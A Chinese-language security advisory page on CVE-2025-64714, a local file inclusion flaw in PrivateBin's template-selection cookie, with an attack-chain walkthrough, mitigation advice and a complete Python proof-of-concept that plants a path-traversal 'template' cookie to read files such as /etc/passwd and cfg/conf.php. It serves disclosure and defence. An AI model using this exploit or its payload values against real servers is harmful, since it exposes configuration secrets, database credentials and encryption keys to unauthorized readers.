IPBUF安全漏洞报告
English
CVE-2025-64714 CVSS 5.8 中危

CVE-2025-64714 PrivateBin 模板切换功能本地文件包含漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64714
漏洞类型
本地文件包含(LFI)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PrivateBin

相关标签

本地文件包含LFI路径遍历PrivateBin未授权访问模板注入CVE-2025-64714PHPZero-knowledgePastebin

漏洞概述

PrivateBin是一款开源的在线pastebin服务,其核心设计理念是服务器对用户粘贴的数据具有零知识(zero-knowledge),即服务器端无法解密或访问用户存储的内容。该服务广泛应用于代码片段分享、敏感信息传递等场景。从版本1.7.7开始至2.0.3之前的PrivateBin版本中,存在一处严重的本地文件包含(Local File Inclusion)漏洞。漏洞源于模板切换功能中对用户可控输入的不当信任。当管理员在配置文件中启用templateselection选项后,系统会直接信任客户端传递的template cookie参数,并将其作为文件路径进行动态包含。由于缺乏有效的路径遍历防护和输入验证,攻击者可以通过构造恶意的cookie值,突破预期目录限制,读取服务器上的任意PHP文件内容,包括配置文件、源代码或其他敏感数据。在特定条件下,攻击者甚至可以利用此漏洞实现远程代码执行(RCE)。

技术细节

漏洞根源在于PrivateBin的模板选择机制存在缺陷。在index.php或类似的入口文件中,当检测到template cookie存在时,代码会直接获取其值并传递给include语句进行文件包含。关键问题在于:1)未对cookie值进行严格的路径规范化处理;2)缺少黑名单或白名单验证机制;3)直接使用用户输入拼接文件路径。攻击者可以通过设置cookie: template=/etc/passwd 或 template=../../../etc/passwd 来尝试读取系统敏感文件。由于PrivateBin项目自身的PHP文件在数据目录中使用了防止直接执行的保护代码,因此默认情况下无法通过此漏洞直接执行任意代码。但如果攻击者能够通过其他方式(如文件上传)将恶意PHP文件写入服务器可访问的目录,或者服务器存在其他配置文件或脚本未做权限控制,则可能触发远程代码执行。攻击者通常会尝试读取配置文件(如cfg/conf.php)以获取数据库凭证或其他敏感信息。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者访问目标PrivateBin实例,检查是否启用templateselection配置选项。可以通过发送测试请求观察响应特征。
STEP 2
步骤2: Cookie构造
攻击者构造恶意的template cookie,将值设置为目标文件路径(如../../../etc/passwd或cfg/conf.php),利用路径遍历尝试跳出预期目录。
STEP 3
步骤3: 触发文件包含
携带恶意cookie重新发送请求,服务器端代码直接include($_COOKIE['template']),导致本地文件包含漏洞被触发。
STEP 4
步骤4: 敏感信息读取
成功包含目标文件后,PHP文件内容会被当作源代码输出,攻击者可以获取配置文件中的数据库凭证、加密密钥等敏感信息。
STEP 5
步骤5: 权限提升/代码执行(条件依赖)
如果攻击者能够通过其他途径(如文件上传漏洞)将恶意PHP文件写入服务器可访问路径,可以结合LFI包含该文件实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64714 PoC - PrivateBin Template Selection LFI Note: Requires templateselection to be enabled in configuration """ import http.cookiejar import urllib.request import sys def exploit_lfi(target_url, file_path): """ Exploit Local File Inclusion via template cookie Args: target_url: Base URL of vulnerable PrivateBin instance file_path: Path of file to read (e.g., /etc/passwd) """ # Create cookie jar to manage cookies cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) # First request to establish session and receive template cookie try: response = opener.open(target_url) html = response.read().decode('utf-8') print(f"[*] Connected to target: {target_url}") print(f"[*] Response status: {response.status}") except Exception as e: print(f"[!] Failed to connect: {e}") return None # Create malicious template cookie with file path # Encode path to handle special characters encoded_path = file_path.replace('/', '%2f') # Add malicious cookie template_cookie = http.cookiejar.Cookie( version=0, name='template', value=file_path, port=None, port_specified=False, domain=response.geturl(), domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={}, rfc2109=False ) cj.set_cookie(template_cookie) # Second request with malicious cookie print(f"[*] Sending request with template cookie: {file_path}") try: response = opener.open(target_url) content = response.read().decode('utf-8', errors='ignore') # Check if file content was included if 'root:' in content or '<?php' in content: print("[+] SUCCESS! File content leaked:") print("-" * 50) # Extract PHP file content start = content.find('<?php') if start != -1: end = content.find('?>', start) if end != -1: print(content[start:end+2]) else: # Print raw content for /etc/passwd style files print(content[:1000]) else: print("[-] File content not found in response") print("[*] Response preview:", content[:500]) except Exception as e: print(f"[!] Exploit failed: {e}") return content if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64714_poc.py <target_url> <file_to_read>") print("Example: python cve-2025-64714_poc.py http://localhost/ /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)

影响范围

PrivateBin >= 1.7.7
PrivateBin < 2.0.3

防御指南

临时缓解措施
在cfg/conf.php配置文件中,将templateselection设置为false(这是默认配置),或者完全删除该配置行。由于PrivateBin默认不启用此功能,如果未手动修改过配置,则不受此漏洞影响。立即检查并更新PrivateBin实例至2.0.3版本以获得完整安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表